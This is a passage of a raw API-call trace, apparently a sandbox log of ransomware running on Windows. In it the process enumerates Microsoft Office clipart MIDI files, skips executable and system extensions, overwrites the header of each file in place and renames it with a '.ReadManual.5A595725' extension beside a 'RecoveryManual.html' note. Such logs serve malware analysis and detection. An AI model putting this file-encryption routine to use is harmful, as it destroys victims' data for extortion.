QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39171719046) returned 1 [0271.048] CloseHandle (hObject=0x184) returned 1 [0271.049] SetSecurityInfo () returned 0x57 [0271.049] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.049] CloseHandle (hObject=0x194) returned 1 [0271.049] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x215a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PARNT_03.MID", cAlternateFileName="")) returned 1 [0271.049] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PARNT_03.MID" | out: lpString1="PARNT_03.MID") returned="PARNT_03.MID" [0271.049] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="RecoveryManual.html") returned -1 [0271.049] StrStrIW (lpFirst="PARNT_03.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.049] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0271.049] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0271.049] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0271.049] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0271.049] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0271.049] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0271.049] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0271.049] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0271.049] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0271.049] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0271.049] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0271.049] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0271.049] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0271.049] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0271.049] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" [0271.049] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.ReadManual.5A595725" [0271.049] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.ReadManual.5A595725") returned 87 [0271.049] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39171805837) returned 1 [0271.049] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid")) returned 0x20 [0271.050] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.050] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8538) returned 1 [0271.050] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x215a, lpName=0x0) returned 0x184 [0271.050] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.051] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.051] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.053] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.053] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x215a) returned 0x2f0000 [0271.053] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.054] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39172229842) returned 1 [0271.054] CloseHandle (hObject=0x184) returned 1 [0271.054] SetSecurityInfo () returned 0x57 [0271.054] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.054] CloseHandle (hObject=0x194) returned 1 [0271.054] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x17b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PARNT_04.MID", cAlternateFileName="")) returned 1 [0271.054] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PARNT_04.MID" | out: lpString1="PARNT_04.MID") returned="PARNT_04.MID" [0271.054] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="RecoveryManual.html") returned -1 [0271.054] StrStrIW (lpFirst="PARNT_04.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.054] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0271.054] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0271.054] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0271.054] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0271.054] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0271.054] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0271.054] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0271.054] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0271.054] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0271.054] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0271.054] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0271.054] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0271.054] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0271.054] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0271.054] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" [0271.054] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.ReadManual.5A595725" [0271.054] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.ReadManual.5A595725") returned 87 [0271.054] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39172316487) returned 1 [0271.054] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid")) returned 0x20 [0271.055] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.056] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6070) returned 1 [0271.056] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17b6, lpName=0x0) returned 0x184 [0271.056] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.056] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.057] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.058] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.059] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17b6) returned 0x2f0000 [0271.059] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.059] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39172754969) returned 1 [0271.059] CloseHandle (hObject=0x184) returned 1 [0271.059] SetSecurityInfo () returned 0x57 [0271.059] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.059] CloseHandle (hObject=0x194) returned 1 [0271.059] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1784, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PARNT_05.MID", cAlternateFileName="")) returned 1 [0271.059] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PARNT_05.MID" | out: lpString1="PARNT_05.MID") returned="PARNT_05.MID" [0271.059] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="RecoveryManual.html") returned -1 [0271.059] StrStrIW (lpFirst="PARNT_05.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.059] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0271.059] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0271.059] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0271.059] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0271.059] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0271.059] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0271.059] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0271.059] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0271.059] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0271.059] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0271.059] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0271.059] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0271.060] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0271.060] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0271.060] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" [0271.060] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.ReadManual.5A595725" [0271.060] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.ReadManual.5A595725") returned 87 [0271.060] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39172845446) returned 1 [0271.060] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid")) returned 0x20 [0271.061] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.061] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6020) returned 1 [0271.061] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1784, lpName=0x0) returned 0x184 [0271.061] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.062] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.062] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.064] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.064] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1784) returned 0x2f0000 [0271.064] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.064] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39173277778) returned 1 [0271.064] CloseHandle (hObject=0x184) returned 1 [0271.064] SetSecurityInfo () returned 0x57 [0271.064] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.064] CloseHandle (hObject=0x194) returned 1 [0271.064] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1e58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PARNT_06.MID", cAlternateFileName="")) returned 1 [0271.064] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PARNT_06.MID" | out: lpString1="PARNT_06.MID") returned="PARNT_06.MID" [0271.064] lstrcmpiW (lpString1="PARNT_06.MID", lpString2="RecoveryManual.html") returned -1 [0271.064] StrStrIW (lpFirst="PARNT_06.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.064] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0271.064] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0271.064] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0271.064] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0271.064] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0271.065] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0271.065] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0271.065] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0271.065] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0271.065] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0271.065] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0271.065] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0271.065] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0271.065] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0271.065] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" [0271.065] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.ReadManual.5A595725" [0271.065] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.ReadManual.5A595725") returned 87 [0271.065] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39173365347) returned 1 [0271.065] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid")) returned 0x20 [0271.065] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.065] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7768) returned 1 [0271.065] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e58, lpName=0x0) returned 0x184 [0271.066] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.066] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.066] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.068] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.068] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e58) returned 0x2f0000 [0271.068] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.068] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39173694824) returned 1 [0271.068] CloseHandle (hObject=0x184) returned 1 [0271.068] SetSecurityInfo () returned 0x57 [0271.068] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.068] CloseHandle (hObject=0x194) returned 1 [0271.068] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x19a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PARNT_07.MID", cAlternateFileName="")) returned 1 [0271.069] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PARNT_07.MID" | out: lpString1="PARNT_07.MID") returned="PARNT_07.MID" [0271.069] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="RecoveryManual.html") returned -1 [0271.069] StrStrIW (lpFirst="PARNT_07.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.069] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0271.069] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0271.069] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0271.069] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0271.069] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0271.069] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0271.069] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0271.069] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0271.069] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0271.069] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0271.069] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0271.070] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0271.070] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0271.070] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0271.070] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" [0271.070] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.ReadManual.5A595725" [0271.070] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.ReadManual.5A595725") returned 87 [0271.070] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39173849662) returned 1 [0271.070] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid")) returned 0x20 [0271.070] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.070] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6564) returned 1 [0271.070] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x19a4, lpName=0x0) returned 0x184 [0271.070] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.071] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.071] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.073] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.073] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x19a4) returned 0x2f0000 [0271.073] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.073] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39174198107) returned 1 [0271.073] CloseHandle (hObject=0x184) returned 1 [0271.073] SetSecurityInfo () returned 0x57 [0271.073] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.073] CloseHandle (hObject=0x194) returned 1 [0271.073] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1cb3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PARNT_08.MID", cAlternateFileName="")) returned 1 [0271.073] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PARNT_08.MID" | out: lpString1="PARNT_08.MID") returned="PARNT_08.MID" [0271.074] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="RecoveryManual.html") returned -1 [0271.074] StrStrIW (lpFirst="PARNT_08.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.074] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0271.074] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0271.074] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0271.074] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0271.074] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0271.074] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0271.074] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0271.074] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0271.074] StrCmpIW (psz1="MID", 